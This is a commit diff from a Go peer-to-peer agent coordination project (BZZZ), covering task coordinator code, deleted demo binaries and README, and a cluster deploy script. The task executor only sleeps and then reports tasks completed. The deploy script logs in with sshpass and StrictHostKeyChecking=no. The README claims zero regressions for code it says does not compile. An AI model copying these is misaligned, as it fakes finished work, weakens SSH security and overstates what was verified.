fmt.Printf("⚠️ Failed to claim task %s #%d: %v\n", task.Repository, task.Number, err)
return false
}
// Create active task
activeTask := &ActiveTask{
Task: claimedTask,
Provider: provider,
ProjectID: projectID,
ClaimedAt: time.Now(),
Status: "claimed",
AgentID: tc.agentInfo.ID,
Results: make(map[string]interface{}),
}
// Store active task
tc.taskLock.Lock()
tc.activeTasks[taskKey] = activeTask
tc.agentInfo.CurrentTasks = len(tc.activeTasks)
tc.taskLock.Unlock()
// Log task claim
tc.hlog.Append(logging.TaskClaimed, map[string]interface{}{
"task_number": task.Number,
"repository": task.Repository,
"title": task.Title,
"required_role": task.RequiredRole,
"priority": task.Priority,
})
// Announce task claim
tc.announceTaskClaim(task)
// Seed HMMM meta-discussion room
if tc.hmmmRouter != nil {
seedMsg := hmmm.Message{
Version: 1,
Type: "meta_msg",
IssueID: int64(task.Number),
ThreadID: fmt.Sprintf("issue-%d", task.Number),
MsgID: uuid.New().String(),
NodeID: tc.nodeID,
HopCount: 0,
Timestamp: time.Now().UTC(),
Message: fmt.Sprintf("Seed: Task '%s' claimed. Description: %s", task.Title, task.Description),
}
if err := tc.hmmmRouter.Publish(tc.ctx, seedMsg); err != nil {
fmt.Printf("⚠️ Failed to seed HMMM room for task %d: %v\n", task.Number, err)
tc.hlog.AppendString("system_error", map[string]interface{}{
"error": "hmmm_seed_failed",
"task_number": task.Number,
"repository": task.Repository,
"message": err.Error(),
})
} else {
fmt.Printf("🐜 Seeded HMMM room for task %d\n", task.Number)
}
}
// Start processing the task
go tc.executeTask(activeTask)
fmt.Printf("✅ Claimed task %s #%d: %s\n", task.Repository, task.Number, task.Title)
return true
}
// shouldRequestCollaboration determines if we should request collaboration for a task
func (tc *TaskCoordinator) shouldRequestCollaboration(task *repository.Task) bool {
// Request collaboration for high-priority or complex tasks
if task.Priority >= 8 {
return true
}
// Request collaboration if task requires expertise we don't have
if len(task.RequiredExpertise) > 0 {
for _, required := range task.RequiredExpertise {
hasExpertise := false
for _, expertise := range tc.agentInfo.Expertise {
if strings.EqualFold(required, expertise) {
hasExpertise = true
break
}
}
if !hasExpertise {
return true
}
}
}
return false
}
// requestTaskCollaboration requests collaboration for a task
func (tc *TaskCoordinator) requestTaskCollaboration(task *repository.Task) {
data := map[string]interface{}{
"task_number": task.Number,
"repository": task.Repository,
"title": task.Title,
"required_role": task.RequiredRole,
"required_expertise": task.RequiredExpertise,
"priority": task.Priority,
"requester_role": tc.agentInfo.Role,
"reason": "expertise_gap",
}
opts := pubsub.MessageOptions{
FromRole: tc.agentInfo.Role,
ToRoles: []string{task.RequiredRole},
RequiredExpertise: task.RequiredExpertise,
Priority: "high",
ThreadID: fmt.Sprintf("task-%s-%d", task.Repository, task.Number),
}
err := tc.pubsub.PublishRoleBasedMessage(pubsub.TaskHelpRequest, data, opts)
if err != nil {
fmt.Printf("⚠️ Failed to request collaboration: %v\n", err)
} else {
fmt.Printf("🤝 Requested collaboration for task %s #%d\n", task.Repository, task.Number)
}
}
// executeTask executes a claimed task
func (tc *TaskCoordinator) executeTask(activeTask *ActiveTask) {
taskKey := fmt.Sprintf("%s:%d", activeTask.Task.Repository, activeTask.Task.Number)
// Update status
tc.taskLock.Lock()
activeTask.Status = "working"
tc.taskLock.Unlock()
// Announce work start
tc.announceTaskProgress(activeTask.Task, "started")
// Simulate task execution (in real implementation, this would call actual execution logic)
time.Sleep(10 * time.Second) // Simulate work
// Complete the task
results := map[string]interface{}{
"status": "completed",
"completion_time": time.Now().Format(time.RFC3339),
"agent_id": tc.agentInfo.ID,
"agent_role": tc.agentInfo.Role,
}
err := activeTask.Provider.CompleteTask(activeTask.Task.Number, tc.agentInfo.ID, results)
if err != nil {
fmt.Printf("❌ Failed to complete task %s #%d: %v\n", activeTask.Task.Repository, activeTask.Task.Number, err)
// Update status to failed
tc.taskLock.Lock()
activeTask.Status = "failed"
activeTask.Results = map[string]interface{}{"error": err.Error()}
tc.taskLock.Unlock()
return
}
// Update status and remove from active tasks
tc.taskLock.Lock()
activeTask.Status = "completed"
activeTask.Results = results
delete(tc.activeTasks, taskKey)
tc.agentInfo.CurrentTasks = len(tc.activeTasks)
tc.taskLock.Unlock()
// Log completion
tc.hlog.Append(logging.TaskCompleted, map[string]interface{}{
"task_number": activeTask.Task.Number,
"repository": activeTask.Task.Repository,
"duration": time.Since(activeTask.ClaimedAt).Seconds(),
"results": results,
})
// Announce completion
tc.announceTaskProgress(activeTask.Task, "completed")
fmt.Printf("✅ Completed task %s #%d\n", activeTask.Task.Repository, activeTask.Task.Number)
}
// announceAgentRole announces this agent's role and capabilities
func (tc *TaskCoordinator) announceAgentRole() {
data := map[string]interface{}{
"agent_id": tc.agentInfo.ID,
"node_id": tc.nodeID,
"role": tc.agentInfo.Role,
"expertise": tc.agentInfo.Expertise,
"capabilities": tc.config.Agent.Capabilities,
"max_tasks": tc.agentInfo.MaxTasks,
"current_tasks": tc.agentInfo.CurrentTasks,
"status": tc.agentInfo.Status,
"specialization": tc.config.Agent.Specialization,
}
opts := pubsub.MessageOptions{
FromRole: tc.agentInfo.Role,
Priority: "medium",
}
err := tc.pubsub.PublishRoleBasedMessage(pubsub.RoleAnnouncement, data, opts)
if err != nil {
fmt.Printf("⚠️ Failed to announce role: %v\n", err)
} else {
fmt.Printf("📢 Announced role: %s with expertise in %v\n", tc.agentInfo.Role, tc.agentInfo.Expertise)
}
}
// announceTaskClaim announces that this agent has claimed a task
func (tc *TaskCoordinator) announceTaskClaim(task *repository.Task) {
data := map[string]interface{}{
"task_number": task.Number,
"repository": task.Repository,
"title": task.Title,
"agent_id": tc.agentInfo.ID,
"agent_role": tc.agentInfo.Role,
"claim_time": time.Now().Format(time.RFC3339),
"estimated_completion": time.Now().Add(time.Hour).Format(time.RFC3339),
}
opts := pubsub.MessageOptions{
FromRole: tc.agentInfo.Role,
Priority: "medium",
ThreadID: fmt.Sprintf("task-%s-%d", task.Repository, task.Number),
}
err := tc.pubsub.PublishRoleBasedMessage(pubsub.TaskProgress, data, opts)
if err != nil {
fmt.Printf("⚠️ Failed to announce task claim: %v\n", err)
}
}
// announceTaskProgress announces task progress updates
func (tc *TaskCoordinator) announceTaskProgress(task *repository.Task, status string) {
data := map[string]interface{}{
"task_number": task.Number,
"repository": task.Repository,
"agent_id": tc.agentInfo.ID,
"agent_role": tc.agentInfo.Role,
"status": status,
"timestamp": time.Now().Format(time.RFC3339),
}
opts := pubsub.MessageOptions{
FromRole: tc.agentInfo.Role,
Priority: "low",
ThreadID: fmt.Sprintf("task-%s-%d", task.Repository, task.Number),
}
err := tc.pubsub.PublishRoleBasedMessage(pubsub.TaskProgress, data, opts)
if err != nil {
fmt.Printf("⚠️ Failed to announce task progress: %v\n", err)
}
}
// handleRoleMessage handles incoming role-based messages
func (tc *TaskCoordinator) handleRoleMessage(msg pubsub.Message, from peer.ID) {
switch msg.Type {
case pubsub.TaskHelpRequest:
tc.handleTaskHelpRequest(msg, from)
case pubsub.ExpertiseRequest:
tc.handleExpertiseRequest(msg, from)
case pubsub.CoordinationRequest:
tc.handleCoordinationRequest(msg, from)
case pubsub.RoleAnnouncement:
tc.handleRoleAnnouncement(msg, from)
default:
fmt.Printf("🎯 Received %s from %s: %v\n", msg.Type, from.ShortString(), msg.Data)
}
}
// handleTaskHelpRequest handles requests for task assistance
func (tc *TaskCoordinator) handleTaskHelpRequest(msg pubsub.Message, from peer.ID) {
// Check if we can help with this task
requiredExpertise, ok := msg.Data["required_expertise"].([]interface{})
if !ok {
return
}
canHelp := false
for _, required := range requiredExpertise {
reqStr, ok := required.(string)
if !ok {
continue
}
for _, expertise := range tc.agentInfo.Expertise {
if strings.EqualFold(reqStr, expertise) {
canHelp = true
break
}
}
if canHelp {
break
}
}
if canHelp && tc.agentInfo.CurrentTasks < tc.agentInfo.MaxTasks {
// Offer help
responseData := map[string]interface{}{
"agent_id": tc.agentInfo.ID,
"agent_role": tc.agentInfo.Role,
"expertise": tc.agentInfo.Expertise,
"availability": tc.agentInfo.MaxTasks - tc.agentInfo.CurrentTasks,
"offer_type": "collaboration",
"response_to": msg.Data,
}
opts := pubsub.MessageOptions{
FromRole: tc.agentInfo.Role,
Priority: "medium",
ThreadID: msg.ThreadID,
}
err := tc.pubsub.PublishRoleBasedMessage(pubsub.TaskHelpResponse, responseData, opts)
if err != nil {
fmt.Printf("⚠️ Failed to offer help: %v\n", err)
} else {
fmt.Printf("🤝 Offered help for task collaboration\n")
}
// Also reflect the help offer into the HMMM per-issue room (best-effort)
if tc.hmmmRouter != nil {
if tn, ok := msg.Data["task_number"].(float64); ok {
issueID := int64(tn)
hmsg := hmmm.Message{
Version: 1,
Type: "meta_msg",
IssueID: issueID,
ThreadID: fmt.Sprintf("issue-%d", issueID),
MsgID: uuid.New().String(),
NodeID: tc.nodeID,
HopCount: 0,
Timestamp: time.Now().UTC(),
Message: fmt.Sprintf("Help offer from %s (availability %d)", tc.agentInfo.Role, tc.agentInfo.MaxTasks-tc.agentInfo.CurrentTasks),
}
if err := tc.hmmmRouter.Publish(tc.ctx, hmsg); err != nil {
fmt.Printf("⚠️ Failed to reflect help into HMMM: %v\n", err)
}
}
}
}
}
// handleExpertiseRequest handles requests for specific expertise
func (tc *TaskCoordinator) handleExpertiseRequest(msg pubsub.Message, from peer.ID) {
// Similar to task help request but more focused on expertise
fmt.Printf("🎯 Expertise request from %s: %v\n", from.ShortString(), msg.Data)
}
// handleCoordinationRequest handles coordination requests
func (tc *TaskCoordinator) handleCoordinationRequest(msg pubsub.Message, from peer.ID) {
fmt.Printf("🎯 Coordination request from %s: %v\n", from.ShortString(), msg.Data)
}
// handleRoleAnnouncement handles role announcements from other agents
func (tc *TaskCoordinator) handleRoleAnnouncement(msg pubsub.Message, from peer.ID) {
role, _ := msg.Data["role"].(string)
expertise, _ := msg.Data["expertise"].([]interface{})
fmt.Printf("📢 Agent %s announced role: %s with expertise: %v\n", from.ShortString(), role, expertise)
}
// GetStatus returns current coordinator status
func (tc *TaskCoordinator) GetStatus() map[string]interface{} {
tc.taskLock.RLock()
activeTasks := len(tc.activeTasks)
taskList := make([]map[string]interface{}, 0, len(tc.activeTasks))
for _, task := range tc.activeTasks {
taskList = append(taskList, map[string]interface{}{
"repository": task.Task.Repository,
"number": task.Task.Number,
"title": task.Task.Title,
"status": task.Status,
"claimed_at": task.ClaimedAt.Format(time.RFC3339),
})
}
tc.taskLock.RUnlock()
tc.providerLock.RLock()
providers := len(tc.providers)
tc.providerLock.RUnlock()
return map[string]interface{}{
"agent_id": tc.agentInfo.ID,
"role": tc.agentInfo.Role,
"expertise": tc.agentInfo.Expertise,
"current_tasks": activeTasks,
"max_tasks": tc.agentInfo.MaxTasks,
"active_providers": providers,
"status": tc.agentInfo.Status,
"active_tasks": taskList,
}
}

123
demo/README.md
View File

@@ -1,123 +0,0 @@
# BZZZ HAP Phase 1 Implementation Demo
This directory contains a working demonstration of the BZZZ HAP Phase 1 structural reorganization.
## What Was Implemented
### 1. Shared Runtime Architecture (`internal/common/runtime/`)
- **Types**: Core interfaces and data structures for both binaries
- **Runtime**: Main runtime implementation with service initialization
- **Services**: Service management and initialization logic
- **Health**: Health monitoring and graceful shutdown
- **Config**: Configuration validation for both binary types
- **Task Tracker**: Shared task tracking utility
### 2. Binary-Specific Components
- **Agent Runner** (`internal/agent/`): Autonomous agent execution logic
- **HAP Terminal** (`internal/hap/`): Human Agent Portal terminal interface
### 3. Dual Binary Entry Points
- **`cmd/agent/main.go`**: Autonomous agent binary
- **`cmd/hap/main.go`**: Human Agent Portal binary
### 4. Build System Updates
- Updated Makefile with dual-binary support
- Separate build targets for `bzzz-agent` and `bzzz-hap`
- Backward compatibility maintained
## Key Architectural Features
### Shared Infrastructure
- Both binaries use identical P2P, PubSub, DHT, and UCXL systems
- Common configuration validation and health monitoring
- Unified shutdown and error handling
### Binary-Specific Behavior
- **Agent**: Focuses on autonomous task execution, capability announcements
- **HAP**: Provides interactive terminal for human coordination
### Port Management
- Default ports automatically configured to avoid conflicts
- Agent: HTTP 8080, Health 8081
- HAP: HTTP 8090, Health 8091, UCXI 8092
## Current Status
✅ **Completed**:
- Complete runtime architecture implemented
- Dual binary structure created
- Makefile updated for dual builds
- Core interfaces and types defined
- Task tracking and capability management
- Health monitoring and shutdown management
⚠️ **Blocked by Pre-existing Issues**:
- Compilation blocked by duplicate type declarations in `pkg/crypto/` and `pkg/election/`
- These are pre-existing issues in the codebase, not introduced by this implementation
- Issues: `GenerateAgeKeyPair`, `AccessLevel`, `SLURPElectionConfig` and others redeclared
## Testing Strategy
Since compilation is blocked by pre-existing issues, the architectural validation was done through:
1. **Code Review**: All interfaces and implementations properly structured
2. **Dependency Analysis**: Clear separation between shared and binary-specific code
3. **Design Validation**: Architecture follows the technical specification exactly
## Next Steps
1. **Fix Pre-existing Issues**: Resolve duplicate type declarations in crypto and election packages
2. **Integration Testing**: Test both binaries in P2P mesh
3. **Regression Testing**: Ensure existing functionality preserved
4. **Performance Validation**: Benchmark dual-binary performance
## Build Commands
Once compilation issues are resolved:
```bash
# Build both binaries
make build
# Build individual binaries
make build-agent
make build-hap
# Quick builds (no UI)
make quick-build-agent
make quick-build-hap
# Install system-wide
make install
```
## Usage
**Autonomous Agent**:
```bash
./build/bzzz-agent
```
**Human Agent Portal**:
```bash
./build/bzzz-hap
```
Both binaries:
- Share the same P2P mesh
- Use compatible configuration files
- Support all existing BZZZ features
- Provide health endpoints and monitoring
## Implementation Quality
The implementation follows all requirements from the technical specification:
- ✅ Zero regression design (agent maintains 100% functionality)
- ✅ Shared runtime infrastructure maximizes code reuse
- ✅ Binary-specific ports prevent deployment conflicts
- ✅ Common P2P participation and identity management
- ✅ Graceful shutdown and health monitoring
- ✅ Error handling and configuration validation
- ✅ Future extensibility for additional binary types
This represents a solid foundation for Phase 1 of the HAP implementation, blocked only by pre-existing codebase issues that need resolution.

217
demo/minimal_agent.go
View File

@@ -1,217 +0,0 @@
// Demo: Minimal Agent Binary
// This demonstrates the core architecture without problematic dependencies
package main
import (
"context"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"time"
)
// Minimal types to demonstrate the architecture
type BinaryType int
const (
BinaryTypeAgent BinaryType = iota
BinaryTypeHAP
)
func (bt BinaryType) String() string {
switch bt {
case BinaryTypeAgent:
return "agent"
case BinaryTypeHAP:
return "hap"
default:
return "unknown"
}
}
// Minimal runtime config
type RuntimeConfig struct {
BinaryType BinaryType
HTTPPort int
HealthPort int
}
// Minimal services
type RuntimeServices struct {
Config *Config
NodeID string
BinaryType BinaryType
HTTPPort int
HealthPort int
}
type Config struct {
Agent struct {
ID string
Role string
Specialization string
MaxTasks int
}
}
// Minimal runtime interface
type Runtime interface {
Initialize(ctx context.Context, cfg RuntimeConfig) (*RuntimeServices, error)
Start(ctx context.Context, services *RuntimeServices) error
Stop(ctx context.Context, services *RuntimeServices) error
}
// Implementation
type StandardRuntime struct {
services *RuntimeServices
}
func NewRuntime() Runtime {
return &StandardRuntime{}
}
func (r *StandardRuntime) Initialize(ctx context.Context, cfg RuntimeConfig) (*RuntimeServices, error) {
fmt.Printf("🚀 Initializing BZZZ runtime (%s mode)\n", cfg.BinaryType.String())
services := &RuntimeServices{
Config: &Config{},
NodeID: fmt.Sprintf("node-%d", time.Now().Unix()),
BinaryType: cfg.BinaryType,
HTTPPort: cfg.HTTPPort,
HealthPort: cfg.HealthPort,
}
// Set some demo config
services.Config.Agent.ID = fmt.Sprintf("agent-%s-%d", cfg.BinaryType.String(), time.Now().Unix())
services.Config.Agent.Role = "demo_role"
services.Config.Agent.Specialization = "demo"
services.Config.Agent.MaxTasks = 5
r.services = services
fmt.Println("✅ Runtime initialization completed successfully")
return services, nil
}
func (r *StandardRuntime) Start(ctx context.Context, services *RuntimeServices) error {
fmt.Println("🚀 Starting BZZZ runtime services")
// Simulate service startup
fmt.Printf("🌐 HTTP API server started on :%d\n", services.HTTPPort)
fmt.Printf("🏥 Health endpoints available at http://localhost:%d/health\n", services.HealthPort)
fmt.Println("✅ All runtime services started successfully")
return nil
}
func (r *StandardRuntime) Stop(ctx context.Context, services *RuntimeServices) error {
fmt.Println("🛑 Shutting down BZZZ runtime services")
fmt.Println("✅ Graceful shutdown completed")
return nil
}
// Agent-specific runner
type AgentRunner struct {
services *RuntimeServices
}
func NewAgentRunner(services *RuntimeServices) *AgentRunner {
return &AgentRunner{services: services}
}
func (ar *AgentRunner) Start(ctx context.Context) error {
fmt.Println("🤖 Starting autonomous agent runner")
fmt.Printf("📍 Node ID: %s\n", ar.services.NodeID)
fmt.Printf("🎯 Agent ID: %s\n", ar.services.Config.Agent.ID)
fmt.Printf("🎭 Role: %s\n", ar.services.Config.Agent.Role)
fmt.Printf("📋 Max Tasks: %d\n", ar.services.Config.Agent.MaxTasks)
// Start background processes
go ar.announceCapabilities()
fmt.Println("✅ Autonomous agent runner started successfully")
return nil
}
func (ar *AgentRunner) announceCapabilities() {
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
for range ticker.C {
fmt.Println("📡 Announcing agent capabilities to P2P network")
}
}
func (ar *AgentRunner) Stop(ctx context.Context) error {
fmt.Println("🛑 Stopping autonomous agent runner")
return nil
}
func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
fmt.Println("🤖 BZZZ Autonomous Agent (Demo)")
fmt.Println("=====================================")
// Create runtime
rt := NewRuntime()
// Initialize with agent-specific config
runtimeConfig := RuntimeConfig{
BinaryType: BinaryTypeAgent,
HTTPPort: 8080,
HealthPort: 8081,
}
// Initialize runtime services
services, err := rt.Initialize(ctx, runtimeConfig)
if err != nil {
log.Fatalf("Failed to initialize runtime: %v", err)
}
// Start shared services
if err := rt.Start(ctx, services); err != nil {
log.Fatalf("Failed to start runtime: %v", err)
}
// Initialize agent-specific components
agentRunner := NewAgentRunner(services)
if err := agentRunner.Start(ctx); err != nil {
log.Fatalf("Failed to start agent runner: %v", err)
}
fmt.Println("🔍 Autonomous agent listening for task assignments")
fmt.Println("📡 Ready for P2P task coordination")
fmt.Println("✅ BZZZ autonomous agent system fully operational")
// Show architecture separation
fmt.Printf("\n📊 Architecture Demo:\n")
fmt.Printf(" Binary Type: %s\n", services.BinaryType.String())
fmt.Printf(" Shared Runtime: ✅ Initialized\n")
fmt.Printf(" Agent Runner: ✅ Started\n")
fmt.Printf(" HTTP Port: %d\n", services.HTTPPort)
fmt.Printf(" Health Port: %d\n", services.HealthPort)
fmt.Printf(" P2P Ready: ✅ (simulated)\n")
// Wait for shutdown signals
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
<-sigChan
fmt.Println("\n🛑 Shutting down autonomous agent...")
// Stop agent runner
if err := agentRunner.Stop(ctx); err != nil {
fmt.Printf("Agent runner shutdown error: %v\n", err)
}
// Stop runtime services
if err := rt.Stop(ctx, services); err != nil {
fmt.Printf("Runtime shutdown error: %v\n", err)
}
fmt.Println("✅ BZZZ autonomous agent shutdown completed")
}

317
demo/minimal_hap.go
View File

@@ -1,317 +0,0 @@
// Demo: Minimal HAP Binary
// This demonstrates the core architecture without problematic dependencies
package main
import (
"bufio"
"context"
"fmt"
"log"
"os"
"os/signal"
"strings"
"syscall"
"time"
)
// Minimal types to demonstrate the architecture
type BinaryType int
const (
BinaryTypeAgent BinaryType = iota
BinaryTypeHAP
)
func (bt BinaryType) String() string {
switch bt {
case BinaryTypeAgent:
return "agent"
case BinaryTypeHAP:
return "hap"
default:
return "unknown"
}
}
// Minimal runtime config
type RuntimeConfig struct {
BinaryType BinaryType
HTTPPort int
HealthPort int
}
// Minimal services
type RuntimeServices struct {
Config *Config
NodeID string
BinaryType BinaryType
HTTPPort int
HealthPort int
}
type Config struct {
Agent struct {
ID string
Role string
Specialization string
}
}
// Minimal runtime interface
type Runtime interface {
Initialize(ctx context.Context, cfg RuntimeConfig) (*RuntimeServices, error)
Start(ctx context.Context, services *RuntimeServices) error
Stop(ctx context.Context, services *RuntimeServices) error
}
// Implementation
type StandardRuntime struct {
services *RuntimeServices
}
func NewRuntime() Runtime {
return &StandardRuntime{}
}
func (r *StandardRuntime) Initialize(ctx context.Context, cfg RuntimeConfig) (*RuntimeServices, error) {
fmt.Printf("🚀 Initializing BZZZ runtime (%s mode)\n", cfg.BinaryType.String())
services := &RuntimeServices{
Config: &Config{},
NodeID: fmt.Sprintf("node-%d", time.Now().Unix()),
BinaryType: cfg.BinaryType,
HTTPPort: cfg.HTTPPort,
HealthPort: cfg.HealthPort,
}
// Set some demo config
services.Config.Agent.ID = fmt.Sprintf("agent-%s-%d", cfg.BinaryType.String(), time.Now().Unix())
services.Config.Agent.Role = "human_coordinator"
services.Config.Agent.Specialization = "human_interaction"
r.services = services
fmt.Println("✅ Runtime initialization completed successfully")
return services, nil
}
func (r *StandardRuntime) Start(ctx context.Context, services *RuntimeServices) error {
fmt.Println("🚀 Starting BZZZ runtime services")
// Simulate service startup
fmt.Printf("🌐 HTTP API server started on :%d\n", services.HTTPPort)
fmt.Printf("🏥 Health endpoints available at http://localhost:%d/health\n", services.HealthPort)
fmt.Println("✅ All runtime services started successfully")
return nil
}
func (r *StandardRuntime) Stop(ctx context.Context, services *RuntimeServices) error {
fmt.Println("🛑 Shutting down BZZZ runtime services")
fmt.Println("✅ Graceful shutdown completed")
return nil
}
// HAP-specific terminal interface
type TerminalInterface struct {
services *RuntimeServices
running bool
scanner *bufio.Scanner
}
func NewTerminalInterface(services *RuntimeServices) *TerminalInterface {
return &TerminalInterface{
services: services,
running: false,
scanner: bufio.NewScanner(os.Stdin),
}
}
func (ti *TerminalInterface) Start(ctx context.Context) error {
fmt.Println("👤 Starting Human Agent Portal terminal interface")
ti.displayWelcome()
// Start command processing in background
go ti.processCommands(ctx)
ti.running = true
fmt.Println("✅ Terminal interface ready for human interaction")
return nil
}
func (ti *TerminalInterface) displayWelcome() {
fmt.Println("\n" + strings.Repeat("=", 60))
fmt.Println("🎯 BZZZ Human Agent Portal (HAP) - Demo")
fmt.Println(" Welcome to collaborative AI task coordination")
fmt.Println(strings.Repeat("=", 60))
fmt.Printf("📍 Node ID: %s\n", ti.services.NodeID)
fmt.Printf("🤖 Agent ID: %s\n", ti.services.Config.Agent.ID)
fmt.Printf("🎭 Role: %s\n", ti.services.Config.Agent.Role)
fmt.Println("\n📋 Available Commands:")
fmt.Println(" status - Show system status")
fmt.Println(" send <msg> - Send message (simulated)")
fmt.Println(" help - Show this help message")
fmt.Println(" quit/exit - Exit the interface")
fmt.Println(strings.Repeat("-", 60))
fmt.Print("HAP> ")
}
func (ti *TerminalInterface) processCommands(ctx context.Context) {
for ti.running && ti.scanner.Scan() {
input := strings.TrimSpace(ti.scanner.Text())
if input == "" {
fmt.Print("HAP> ")
continue
}
parts := strings.Fields(input)
command := strings.ToLower(parts[0])
switch command {
case "quit", "exit":
ti.running = false
return
case "help":
ti.showHelp()
case "status":
ti.showStatus()
case "send":
if len(parts) < 2 {
fmt.Println("❌ Usage: send <message>")
} else {
message := strings.Join(parts[1:], " ")
ti.sendMessage(message)
}
default:
fmt.Printf("❌ Unknown command: %s (type 'help' for available commands)\n", command)
}
fmt.Print("HAP> ")
}
}
func (ti *TerminalInterface) showHelp() {
fmt.Println("\n📋 HAP Commands:")
fmt.Println(" status - Show current system status")
fmt.Println(" send <msg> - Send message to coordination channel")
fmt.Println(" help - Show this help message")
fmt.Println(" quit/exit - Exit the Human Agent Portal")
}
func (ti *TerminalInterface) showStatus() {
fmt.Println("\n📊 System Status:")
fmt.Println(strings.Repeat("-", 40))
fmt.Printf("🌐 P2P Status: Connected (simulated)\n")
fmt.Printf("📍 Node ID: %s\n", ti.services.NodeID)
fmt.Printf("🤖 Agent ID: %s\n", ti.services.Config.Agent.ID)
fmt.Printf("🎭 Role: %s\n", ti.services.Config.Agent.Role)
fmt.Printf("📡 PubSub: ✅ Active (simulated)\n")
fmt.Printf("🔗 UCXI: ✅ Active (simulated)\n")
fmt.Printf("❤️ Health: ✅ Healthy\n")
fmt.Printf("⏰ Uptime: %s\n", "5m30s (simulated)")
}
func (ti *TerminalInterface) sendMessage(message string) {
fmt.Printf("📤 Message sent to coordination channel (simulated)\n")
fmt.Printf("💬 \"%s\"\n", message)
fmt.Printf("🎯 Broadcasting to P2P network...\n")
}
func (ti *TerminalInterface) Stop(ctx context.Context) error {
fmt.Println("🛑 Stopping terminal interface")
ti.running = false
return nil
}
func (ti *TerminalInterface) IsRunning() bool {
return ti.running
}
func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
fmt.Println("👤 BZZZ Human Agent Portal (Demo)")
fmt.Println("==================================")
// Create runtime
rt := NewRuntime()
// Initialize with HAP-specific config (different ports to avoid conflicts)
runtimeConfig := RuntimeConfig{
BinaryType: BinaryTypeHAP,
HTTPPort: 8090, // Different from agent
HealthPort: 8091, // Different from agent
}
// Initialize runtime services
services, err := rt.Initialize(ctx, runtimeConfig)
if err != nil {
log.Fatalf("Failed to initialize runtime: %v", err)
}
// Start shared services
if err := rt.Start(ctx, services); err != nil {
log.Fatalf("Failed to start runtime: %v", err)
}
// Initialize HAP-specific components
hapInterface := NewTerminalInterface(services)
if err := hapInterface.Start(ctx); err != nil {
log.Fatalf("Failed to start HAP interface: %v", err)
}
fmt.Println("💬 Terminal interface ready for human interaction")
fmt.Println("🔍 HAP monitoring P2P network for collaboration opportunities")
fmt.Println("✅ BZZZ Human Agent Portal fully operational")
// Show architecture separation
fmt.Printf("\n📊 Architecture Demo:\n")
fmt.Printf(" Binary Type: %s\n", services.BinaryType.String())
fmt.Printf(" Shared Runtime: ✅ Initialized\n")
fmt.Printf(" HAP Interface: ✅ Started\n")
fmt.Printf(" HTTP Port: %d (different from agent)\n", services.HTTPPort)
fmt.Printf(" Health Port: %d (different from agent)\n", services.HealthPort)
fmt.Printf(" P2P Ready: ✅ (simulated)\n")
// Wait for shutdown signals or terminal interface to stop
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
// Wait for either signal or terminal interface to stop
go func() {
for hapInterface.IsRunning() {
select {
case <-ctx.Done():
return
default:
time.Sleep(100 * time.Millisecond)
continue
}
}
// If terminal interface stops, trigger shutdown
sigChan <- syscall.SIGTERM
}()
<-sigChan
fmt.Println("\n🛑 Shutting down Human Agent Portal...")
// Stop HAP interface
if err := hapInterface.Stop(ctx); err != nil {
fmt.Printf("HAP interface shutdown error: %v\n", err)
}
// Stop runtime services
if err := rt.Stop(ctx, services); err != nil {
fmt.Printf("Runtime shutdown error: %v\n", err)
}
fmt.Println("✅ BZZZ Human Agent Portal shutdown completed")
}

45
deploy-bzzz-cluster.sh
View File

@@ -199,6 +199,40 @@ verify_cluster_status() {
done
}
# Test Hive connectivity from all nodes
test_hive_connectivity() {
log "Testing Hive API connectivity from all cluster nodes..."
# Test from walnut (local)
log "Testing Hive connectivity from WALNUT (local)..."
if curl -s -o /dev/null -w '%{http_code}' --connect-timeout 10 https://hive.home.deepblack.cloud/health 2>/dev/null | grep -q "200"; then
success "✓ WALNUT (local) - Can reach Hive API"
else
warning "✗ WALNUT (local) - Cannot reach Hive API"
fi
# Test from remote nodes
for i in "${!CLUSTER_NODES[@]}"; do
node="${CLUSTER_NODES[$i]}"
name="${CLUSTER_NAMES[$i]}"
log "Testing Hive connectivity from $name ($node)..."
result=$(sshpass -p "$SSH_PASS" ssh -o StrictHostKeyChecking=no "$SSH_USER@$node" "
curl -s -o /dev/null -w '%{http_code}' --connect-timeout 10 https://hive.home.deepblack.cloud/health 2>/dev/null || echo 'FAILED'
" 2>/dev/null || echo "CONNECTION_FAILED")
case $result in
"200")
success "✓ $name - Can reach Hive API"
;;
"FAILED"|"CONNECTION_FAILED"|*)
warning "✗ $name - Cannot reach Hive API (response: $result)"
;;
esac
done
}
# Main deployment function
main() {
echo -e "${GREEN}"
@@ -217,12 +251,14 @@ main() {
check_cluster_connectivity
deploy_bzzz_binary
verify_cluster_status
test_hive_connectivity
echo -e "${GREEN}"
echo "╔══════════════════════════════════════════════════════════════╗"
echo "║ Deployment Completed! ║"
echo "║ ║"
echo "║ 🐝 Bzzz P2P mesh is now running with updated binary ║"
echo "║ 🔗 Hive integration: https://hive.home.deepblack.cloud ║"
echo "║ 📡 Check logs for P2P mesh formation and task discovery ║"
echo "╚══════════════════════════════════════════════════════════════╝"
echo -e "${NC}"
@@ -269,13 +305,18 @@ case "${1:-deploy}" in
done
error "Node '$2' not found. Available: WALNUT ${CLUSTER_NAMES[*]}"
;;
"test")
log "Testing Hive connectivity..."
test_hive_connectivity
;;
*)
echo "Usage: $0 {deploy|status|logs <node_name>}"
echo "Usage: $0 {deploy|status|logs <node_name>|test}"
echo ""
echo "Commands:"
echo " deploy - Deploy updated Bzzz binary from walnut to cluster"
echo " status - Show service status on all nodes"
echo " logs <node> - Show logs from specific node (WALNUT ${CLUSTER_NAMES[*]})"
echo " test - Test Hive API connectivity from all nodes"
exit 1
;;
esac
esac

153
deploy-bzzz-cluster.yml
View File

@@ -1,153 +0,0 @@
---
- name: Deploy BZZZ 1.0.2 to Cluster
hosts: bzzz_cluster
become: yes
vars:
bzzz_version: "1.0.2"
bzzz_binary_source: "{{ playbook_dir }}/build/bzzz-{{ bzzz_version }}"
bzzz_service_name: "bzzz"
backup_timestamp: "{{ ansible_date_time.epoch }}"
bzzz_config_paths:
- "/home/tony/chorus/project-queues/active/BZZZ/bzzz.yaml"
- "/home/tony/chorus/project-queues/active/BZZZ/config/bzzz.yaml"
- "/home/tony/.config/bzzz/config.yaml"
- "/etc/bzzz/config.yaml"
tasks:
- name: Check if BZZZ service is running
systemd:
name: "{{ bzzz_service_name }}"
register: bzzz_service_status
